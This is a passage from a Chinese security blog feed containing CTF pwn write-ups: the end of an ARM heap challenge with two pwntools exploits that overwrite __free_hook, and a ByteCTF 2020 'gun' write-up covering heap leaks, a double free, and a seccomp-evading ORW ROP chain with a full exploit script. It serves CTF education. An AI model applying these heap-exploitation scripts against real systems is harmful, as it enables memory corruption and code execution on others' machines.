class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment">#context.log_level='debug'</span></span><br><span class="line"><span class="comment">#p=process(["qemu-arm","-L","/usr/arm-linux-gnueabihf","./pwn3"])</span></span><br><span class="line"><span class="comment">#p=process(["qemu-arm","-L","../","pwn3"])</span></span><br><span class="line">e=ELF(<span class="string">'../lib/libc-2.30.so'</span>)</span><br><span class="line"><span class="comment">#p=process(["qemu-arm","-g",'1234',"-L","../","./pwn3"])</span></span><br><span class="line">p=remote(<span class="string">"20.20.11.14"</span>,<span class="number">9999</span>)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">'username:'</span>,<span class="string">'yzloser'</span>)</span><br><span class="line">p.sendlineafter(<span class="string">'password:'</span>,<span class="string">'yzloser'</span>)</span><br><span class="line">p.sendlineafter(<span class="string">'again:'</span>,<span class="string">'yzloser'</span>)</span><br><span class="line">p.sendlineafter(<span class="string">'continue'</span>,<span class="string">''</span>)</span><br><span class="line">p.sendlineafter(<span class="string">'choice'</span>,<span class="string">'3'</span>)</span><br><span class="line">p.sendlineafter(<span class="string">'password:'</span>,<span class="string">'A'</span>*<span class="number">0x27</span>)</span><br><span class="line">p.sendlineafter(<span class="string">'continue'</span>,<span class="string">''</span>)</span><br><span class="line">p.sendlineafter(<span class="string">'choice'</span>,<span class="string">'2'</span>)</span><br><span class="line">p.recvuntil(<span class="string">b'A'</span>*<span class="number">0x27</span>+<span class="string">b'\n'</span>)</span><br><span class="line"></span><br><span class="line">libc=u32(p.recv(<span class="number">4</span>))<span class="number">-205384</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(idx,siz,s)</span>:</span></span><br><span class="line">    p.sendlineafter(<span class="string">'choice'</span>,<span class="string">'1'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">'choice'</span>,<span class="string">'1'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">'index'</span>,str(idx))</span><br><span class="line">    p.sendlineafter(<span class="string">'size'</span>,str(siz))</span><br><span class="line">    p.sendlineafter(<span class="string">'content'</span>,s)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dele</span><span class="params">(idx)</span>:</span></span><br><span class="line">    p.sendlineafter(<span class="string">'choice'</span>,<span class="string">'1'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">'choice'</span>,<span class="string">'2'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">'index'</span>,str(idx))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">print(hex(libc))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">    add(i,<span class="number">0x30</span>,<span class="string">'/bin/sh\x00'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line">    dele(i)</span><br><span class="line"><span class="comment"># double free</span></span><br><span class="line">dele(<span class="number">7</span>)</span><br><span class="line">dele(<span class="number">8</span>)</span><br><span class="line">dele(<span class="number">7</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line">    add(<span class="number">20</span>+i,<span class="number">0x30</span>,<span class="string">'/bin/sh\x00'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">add(<span class="number">30</span>,<span class="number">0x30</span>,p32(libc+e.symbols[<span class="string">'__free_hook'</span>]))</span><br><span class="line">print(hex(libc+e.symbols[<span class="string">'__free_hook'</span>]))</span><br><span class="line">add(<span class="number">31</span>,<span class="number">0x30</span>,<span class="string">'test'</span>)</span><br><span class="line">add(<span class="number">32</span>,<span class="number">0x30</span>,<span class="string">'test'</span>)</span><br><span class="line">add(<span class="number">34</span>,<span class="number">0x30</span>,p32(libc+e.symbols[<span class="string">'system'</span>]))</span><br><span class="line">add(<span class="number">11</span>,<span class="number">10</span>,<span class="string">'/bin/sh\x00'</span>)</span><br><span class="line"></span><br><span class="line">dele(<span class="number">11</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">context.log_level=<span class="string">"debug"</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">info</span><span class="params">()</span>:</span></span><br><span class="line">   p.sendlineafter(<span class="string">"&gt; "</span>,<span class="string">"2"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">play</span><span class="params">()</span>:</span></span><br><span class="line">   p.sendlineafter(<span class="string">"&gt; "</span>,<span class="string">"1"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(index,size,note)</span>:</span></span><br><span class="line">   play()</span><br><span class="line">   p.sendlineafter(<span class="string">"&gt; "</span>,<span class="string">"1"</span>)</span><br><span class="line">   p.sendafter(<span class="string">": "</span>,str(index))</span><br><span class="line">   p.sendlineafter(<span class="string">": "</span>,str(size))</span><br><span class="line">   p.sendafter(<span class="string">": "</span>,note)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(index)</span>:</span></span><br><span class="line">   play()</span><br><span class="line">   p.sendlineafter(<span class="string">"&gt; "</span>,<span class="string">"2"</span>)</span><br><span class="line">   p.sendlineafter(<span class="string">": "</span>,str(index))</span><br><span class="line">   </span><br><span class="line">p=process([<span class="string">"qemu-arm"</span>,<span class="string">"-g"</span>,<span class="string">"1234"</span>,<span class="string">"-L"</span>,<span class="string">"."</span>,<span class="string">"./pwn3"</span>])</span><br><span class="line"><span class="comment">#p = remote("20.20.11.14", 9999)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">un=<span class="string">"aaaaa"</span></span><br><span class="line">pd1=<span class="string">"bbbbb"</span></span><br><span class="line">pd2=<span class="string">"bbbbb"</span></span><br><span class="line">p.sendlineafter(<span class="string">":"</span>,un)</span><br><span class="line">p.sendlineafter(<span class="string">":"</span>,pd1)</span><br><span class="line">p.sendlineafter(<span class="string">":"</span>,pd2)</span><br><span class="line">p.sendline(<span class="string">""</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">"&gt; "</span>,<span class="string">"3"</span>)</span><br><span class="line">p.sendlineafter(<span class="string">":"</span>,<span class="string">"a"</span>*<span class="number">0x20</span>)</span><br><span class="line">p.sendline(<span class="string">""</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">info()</span><br><span class="line">p.recvuntil(<span class="string">": "</span>)</span><br><span class="line">libc=u32(p.recv(<span class="number">4</span>))+<span class="number">0xff69cba0</span><span class="number">-0x044ba0</span><span class="number">-0xff68a248</span></span><br><span class="line"><span class="comment"># print hex(libc)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">9</span>):</span><br><span class="line">   add(i,<span class="number">0x40</span>,<span class="string">"aaaa\n"</span>)</span><br><span class="line">add(<span class="number">15</span>,<span class="number">6</span>,<span class="string">"a\n"</span>) <span class="comment">#0x10</span></span><br><span class="line">add(<span class="number">14</span>,<span class="number">6</span>,<span class="string">"a\n"</span>) <span class="comment">#0x10</span></span><br><span class="line">delete(<span class="number">15</span>) </span><br><span class="line">delete(<span class="number">14</span>) <span class="comment">#tcache[0x10]=14-&gt;15</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">9</span>):</span><br><span class="line">   delete(<span class="number">8</span>-i) <span class="comment">#unsorted bin=0-&gt;1 </span></span><br><span class="line">free_hook = libc + <span class="number">0x1479cc</span></span><br><span class="line">system    = libc + <span class="number">0x3a028</span></span><br><span class="line">add(<span class="number">9</span>,<span class="number">0x70</span>,<span class="string">"a"</span>*<span class="number">0x40</span>+p32(<span class="number">0</span>)+p32(<span class="number">0x11</span>)+p32(<span class="number">0</span>)*<span class="number">3</span>+p32(<span class="number">0x39</span>)+<span class="string">"\n"</span>) <span class="comment">#overchunk</span></span><br><span class="line">delete(<span class="number">1</span>) <span class="comment">#tcache[0x10] = 1-&gt;14-&gt;15</span></span><br><span class="line">delete(<span class="number">9</span>)  </span><br><span class="line">add(<span class="number">10</span>,<span class="number">0x70</span>,<span class="string">"a"</span>*<span class="number">0x40</span>+p32(<span class="number">0</span>)+p32(<span class="number">0x11</span>)+p32(free_hook)*<span class="number">3</span>+p32(<span class="number">0x39</span>)+p32(libc+<span class="number">0x1479cc</span>)+<span class="string">"\n"</span>)</span><br><span class="line">add(<span class="number">11</span>,<span class="number">8</span>,<span class="string">"/bin/sh\x00"</span>)</span><br><span class="line">add(<span class="number">12</span>,<span class="number">8</span>,p32(libc+<span class="number">0x3a028</span>)+<span class="string">"\n"</span>)</span><br><span class="line"><span class="comment"># print hex(libc+0x1479cc)</span></span><br><span class="line">delete(<span class="number">11</span>)</span><br><span class="line">p.interactive()</span><br><span class="line"><span class="comment">#0x14675c -- main_arena</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这道arm的题目赛后发现也不难，关键还是在比赛的时候没有能够熟练的分析。在堆分析中有一个很重要的一点，在用gdb插件调试的时候，加载没有调试符号的libc无法使用bins，chunks等命令。这时，只能自己手动在内存中查找这些数据，比如tcache的管理结构是在heap最开始的地方，而bins则在main_arena上。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;文章首发于安全客 &lt;a href=&quot;https://www.anquanke.com/post/id/224972&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.anquanke.com/post/id/224972&lt;/a&gt;&lt;/p&gt;
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
      <category term="IOT" scheme="https://hurricane618.me/tags/IOT/"/>
    
      <category term="ARM" scheme="https://hurricane618.me/tags/ARM/"/>
    
  </entry>
  
  <entry>
    <title>2020 bytectf gun writeup</title>
    <link href="https://hurricane618.me/2020/10/26/2020-bytectf-gun/"/>
    <id>https://hurricane618.me/2020/10/26/2020-bytectf-gun/</id>
    <published>2020-10-26T07:51:44.000Z</published>
    <updated>2020-10-26T07:51:44.523Z</updated>
    
    <content type="html"><![CDATA[<p>这周打了一下ByteCTF，发现差距还是很大的，现在的很多堆菜单题都上2.31，新版本的题目需要多熟悉熟悉。</p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>checksec保护全开，逆向的时候发现其中有prctl函数，用seccomp-tools查看沙箱逻辑。</p><img src="/2020/10/26/2020-bytectf-gun/1.png"><p>看这个逻辑只能使用orw的方法获得flag。整个程序主要由三个功能，射击子弹，上膛子弹，购买子弹，购买子弹会malloc，同时有一次向chunk写数据的机会，购买的子弹会通过一个18字节大小的数据结构管理。chunk指向分配的堆块，next指向其他堆块形成一个链表，flag是标志位分别有0，1，2，表示不同的状态。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">    <span class="keyword">char</span>* chunk;</span><br><span class="line">    <span class="keyword">char</span>* next;</span><br><span class="line">    <span class="keyword">int</span> flag;  <span class="comment">// 0为发射之后 1为购买状态 2为上膛状态</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上膛子弹会把子弹放进弹夹中，如果弹夹中已经有子弹，则会使用next进行链接，next指向弹夹中的子弹，然后把这个子弹放进弹夹中，构成一个由子弹组成的单向链表，最后改变标志位为2。发射子弹会从弹夹中的子弹开始free，free完成之后弹夹会填入next指向的下一个子弹，重复一个指定的次数。每次射击会输出这个子弹的chunk内容，这给了我们泄露的机会。</p><p>另外一个可以利用的点在射击free中，没有置空指针，存在UAF的问题。</p><img src="/2020/10/26/2020-bytectf-gun/2.png"><p>除了上面的这些，有一个细节点，射击完成的子弹数据结构中的内容都不会清除，这意味着next指针的内容是保留下来的，这个细节点成为了之后构造double free的基础。</p><h2 id="泄露libc和heap"><a href="#泄露libc和heap" class="headerlink" title="泄露libc和heap"></a>泄露libc和heap</h2><p>因为有tcache的原因，要让chunk进入unsorted bin中需要让tcache填满，我们的思路是填满tcache之后让chunk进入unsorted bin中，再次分配小chunk就能拿到带有libc地址的chunk。malloc(0x80)分配8次，装载之后射击8次，从0到7装载会让7号子弹首先释放，又因为tcache是和fastbin类似的FILO，最后0号被分配到了unsorted bin中，其余7个在tcache中。</p><img src="/2020/10/26/2020-bytectf-gun/3.png"><p>随后分配小chunk，拿到带有libc地址的chunk，这里malloc(0x20)会切分unsorted bin。</p><img src="/2020/10/26/2020-bytectf-gun/4.png"><p>装载并发射这个子弹，我们就能泄露到libc地址。而要泄露到heap的地址，这里要分配tcache中的chunk，然后用同样的方法装载并发射，泄露到heap地址。</p><h2 id="构造double-free"><a href="#构造double-free" class="headerlink" title="构造double free"></a>构造double free</h2><p>在我们面前的问题是这道题目的free都是按照链表顺序进行的，而链表只能通过上膛的方式改变。这里的构造利用了之前上膛操作遗留下来的next指针构造double free，如下图：</p><img src="/2020/10/26/2020-bytectf-gun/5.png"><p><code>0x555555558060</code>是之前填充tcache时遗留下的指向首个chunk的指针，如果我们再次用类似的方法填充tcache，但是让弹夹中留着第二个chunk的地址，这样我们装载第一个chunk就会让next指向第二个chunk，同时第二个chunk原来就是指向第一个chunk的，构造出这样的链表后射击3次，free掉的chunk进入fastbin就完成了经典的double free。</p><img src="/2020/10/26/2020-bytectf-gun/6.png"><p>要使用这个double free，还需要把tcache清空，清空之后继续申请从fastbin获得chunk，剩下的chunk会进入到tcache中，但是这个进入顺序会是fastbin弹出顺序的倒转，最终的结果会是和fastbin一样的排序。清空后的第一次申请，把目标地址free_hook写入指针中，形成下面的链接顺序。</p><img src="/2020/10/26/2020-bytectf-gun/7.png"><p>再次申请3次，就能拿到目标chunk，写入我们的gadget。</p><h2 id="构造ROP"><a href="#构造ROP" class="headerlink" title="构造ROP"></a>构造ROP</h2><p>因为题目设置有沙箱，没有办法使用one_gadget拿到shell，需要自己构造ROP来完成利用。由于有heap地址，我们能申请chunk，把ROP写入其中，在free_hook中填入的gadget跳转到目标堆地址中执行ROP链。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">.text:000000000008A754                 mov     rax, [rdi+0A0h]</span><br><span class="line">.text:000000000008A75B                 push    rbx</span><br><span class="line">.text:000000000008A75C                 mov     rbx, rdi</span><br><span class="line">.text:000000000008A75F                 mov     rdx, [rax+20h]</span><br><span class="line">.text:000000000008A763                 cmp     rdx, [rax+18h]</span><br><span class="line">.text:000000000008A767                 jbe     short loc_8A788</span><br><span class="line">.text:000000000008A769                 mov     rax, [rax+0E0h]</span><br><span class="line">.text:000000000008A770                 mov     esi, 0FFFFFFFFh</span><br><span class="line">.text:000000000008A775                 call    qword ptr [rax+18h]</span><br></pre></td></tr></table></figure><p>这里有一段有用的gadget，通过rdi控制rax，rax又能控制rdx。执行free时的rdi刚好是要free的指针，这里就可以是我们申请到的拿来写ROP的chunk地址。</p><img src="/2020/10/26/2020-bytectf-gun/8.png"><p>光有call虽然能控制rip，但rsp无法控制只能依靠其他gadget，在能控制rdx的条件下，使用<code>0x000000000005e650 : mov rsp, rdx ; ret</code>就能同时控制rip和rsp到我们想要的位置。最后chunk的具体地址，通过调试知道我们前面的操作让heap到了0x870的偏移。</p><img src="/2020/10/26/2020-bytectf-gun/9.png"><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><p>这里借用了shiyh师傅的exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">'./gun'</span>)</span><br><span class="line">libc = elf.libc</span><br><span class="line">    </span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'D'</span>]:</span><br><span class="line">    context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'R'</span>]:</span><br><span class="line">    io = remote(<span class="string">'123.57.209.176'</span>, <span class="string">'30772'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    io = process(<span class="string">'./gun'</span>)</span><br><span class="line">    </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">shoot</span><span class="params">(time)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">b'Action&gt; '</span>)</span><br><span class="line">    io.sendline(<span class="string">'1'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b'Shoot time: '</span>)</span><br><span class="line">    io.sendline(str(time))</span><br><span class="line">    <span class="comment">#p.recvuntil('bullets left\n')</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">load</span><span class="params">(index)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">b'Action&gt; '</span>)</span><br><span class="line">    io.sendline(<span class="string">'2'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b'Which one do you want to load?'</span>)</span><br><span class="line">    io.sendline(str(index))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">buy</span><span class="params">(price,name)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">b'Action&gt; '</span>)</span><br><span class="line">    io.sendline(<span class="string">'3'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b'Bullet price: '</span>)</span><br><span class="line">    io.sendline(str(price))</span><br><span class="line">    io.recvuntil(<span class="string">b'Bullet Name: '</span>)</span><br><span class="line">    io.sendline(name)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">quit</span><span class="params">()</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">b'Action&gt; '</span>)</span><br><span class="line">    io.sendline(<span class="string">'4'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b'Your name: '</span>)</span><br><span class="line">io.sendline(<span class="string">b'shiyh'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">8</span>):</span><br><span class="line">    buy(<span class="number">0x80</span>,<span class="string">''</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">8</span>):</span><br><span class="line">    load(i)</span><br><span class="line">shoot(<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># use unsorted bin leak libc and tcache leak heap</span></span><br><span class="line">buy(<span class="number">0x20</span>,<span class="string">''</span>)</span><br><span class="line">load(<span class="number">0</span>)</span><br><span class="line">shoot(<span class="number">1</span>)</span><br><span class="line">io.recvuntil(<span class="string">'Pwn! The '</span>)</span><br><span class="line">t = io.recvuntil(<span class="string">' bullet'</span>)[:<span class="number">-7</span>]</span><br><span class="line">libc_base = u64(t.ljust(<span class="number">8</span>,<span class="string">b'\x00'</span>)) - <span class="number">0x1ebc60</span></span><br><span class="line">free_hook = libc_base + <span class="number">0x1EEB28</span></span><br><span class="line">log.info(<span class="string">'libc_base : %s'</span> % hex(libc_base))</span><br><span class="line">buy(<span class="number">0x80</span>,<span class="string">''</span>)</span><br><span class="line">load(<span class="number">0</span>)</span><br><span class="line">shoot(<span class="number">1</span>)</span><br><span class="line">io.recvuntil(<span class="string">'Pwn! The '</span>)</span><br><span class="line">t = io.recvuntil(<span class="string">' bullet'</span>)[:<span class="number">-7</span>]</span><br><span class="line">heap = u64(t.ljust(<span class="number">8</span>,<span class="string">b'\x00'</span>))<span class="number">-1008</span></span><br><span class="line">log.info(<span class="string">'heap : %s'</span> % hex(heap))</span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line"><span class="comment"># full tcache</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">9</span>):</span><br><span class="line">    buy(<span class="number">0x20</span>,<span class="string">''</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line">    load(i+<span class="number">2</span>)</span><br><span class="line">shoot(<span class="number">7</span>)</span><br><span class="line">load(<span class="number">0</span>)</span><br><span class="line">shoot(<span class="number">3</span>)  <span class="comment"># for double free</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line">    buy(<span class="number">0x20</span>,<span class="string">''</span>)</span><br><span class="line">buy(<span class="number">0x20</span>,p64(free_hook))<span class="comment">#7</span></span><br><span class="line">buy(<span class="number">0x20</span>,<span class="string">''</span>)<span class="comment">#8</span></span><br><span class="line">buy(<span class="number">0x20</span>,<span class="string">''</span>)<span class="comment">#9</span></span><br><span class="line"><span class="comment">### ROP</span></span><br><span class="line">pop_rdi = libc_base + <span class="number">0x0000000000026b72</span></span><br><span class="line">pop_rsi = libc_base + <span class="number">0x0000000000027529</span></span><br><span class="line">pop_rdx_rbx = libc_base + <span class="number">0x0000000000162866</span></span><br><span class="line">pop_rax = libc_base + <span class="number">0x000000000004a550</span></span><br><span class="line">syscall = libc_base + <span class="number">0x00000000000E62F9</span></span><br><span class="line">flag_addr = heap + <span class="number">2144</span> + <span class="number">0x10</span></span><br><span class="line">buf = heap + <span class="number">2144</span> + <span class="number">8</span> +<span class="number">0x10</span></span><br><span class="line">payload = <span class="string">b'flag'</span> + p32(<span class="number">0</span>) + <span class="string">b'\x00'</span>*<span class="number">0x18</span> + p64(flag_addr + <span class="number">0x100</span>) + <span class="string">b'\x00'</span>*<span class="number">0x78</span> <span class="comment">#0xa0</span></span><br><span class="line">payload += p64(flag_addr) + <span class="string">b'\x00'</span>*<span class="number">0x38</span> <span class="comment">#0xe0</span></span><br><span class="line">payload += p64(flag_addr + <span class="number">0xe0</span>) + <span class="string">b'\x00'</span>*<span class="number">0x10</span> + p64(libc_base + <span class="number">0x000000000005e650</span>) <span class="comment">#0x100</span></span><br><span class="line">ROPchain = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(<span class="number">0</span>) + p64(pop_rdx_rbx) + p64(<span class="number">0</span>) + p64(<span class="number">0</span>) + p64(pop_rax) + p64(<span class="number">2</span>) + p64(syscall)</span><br><span class="line">ROPchain += p64(pop_rdi) + p64(<span class="number">3</span>) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_rbx) + p64(<span class="number">0x30</span>) + p64(<span class="number">0</span>) + p64(pop_rax) + p64(<span class="number">0</span>) + p64(syscall)</span><br><span class="line">ROPchain += p64(pop_rdi) + p64(<span class="number">1</span>) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_rbx) + p64(<span class="number">0x30</span>) + p64(<span class="number">0</span>) + p64(pop_rax) + p64(<span class="number">1</span>) + p64(syscall)</span><br><span class="line">payload += ROPchain</span><br><span class="line">buy(<span class="number">0x300</span>,payload)<span class="comment">#10</span></span><br><span class="line">load(<span class="number">10</span>)</span><br><span class="line"><span class="comment">### </span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">gadget = libc_base + <span class="number">0x8A754</span></span><br><span class="line">buy(<span class="number">0x20</span>,p64(gadget))</span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">shoot(<span class="number">1</span>)  <span class="comment"># free(ptr10) rdi=chunk10_addr</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">0x000000000005e650 : mov rsp, rdx ; ret</span></span><br><span class="line"><span class="string">0x0000000000026b72 : pop rdi ; ret</span></span><br><span class="line"><span class="string">0x0000000000027529 : pop rsi ; 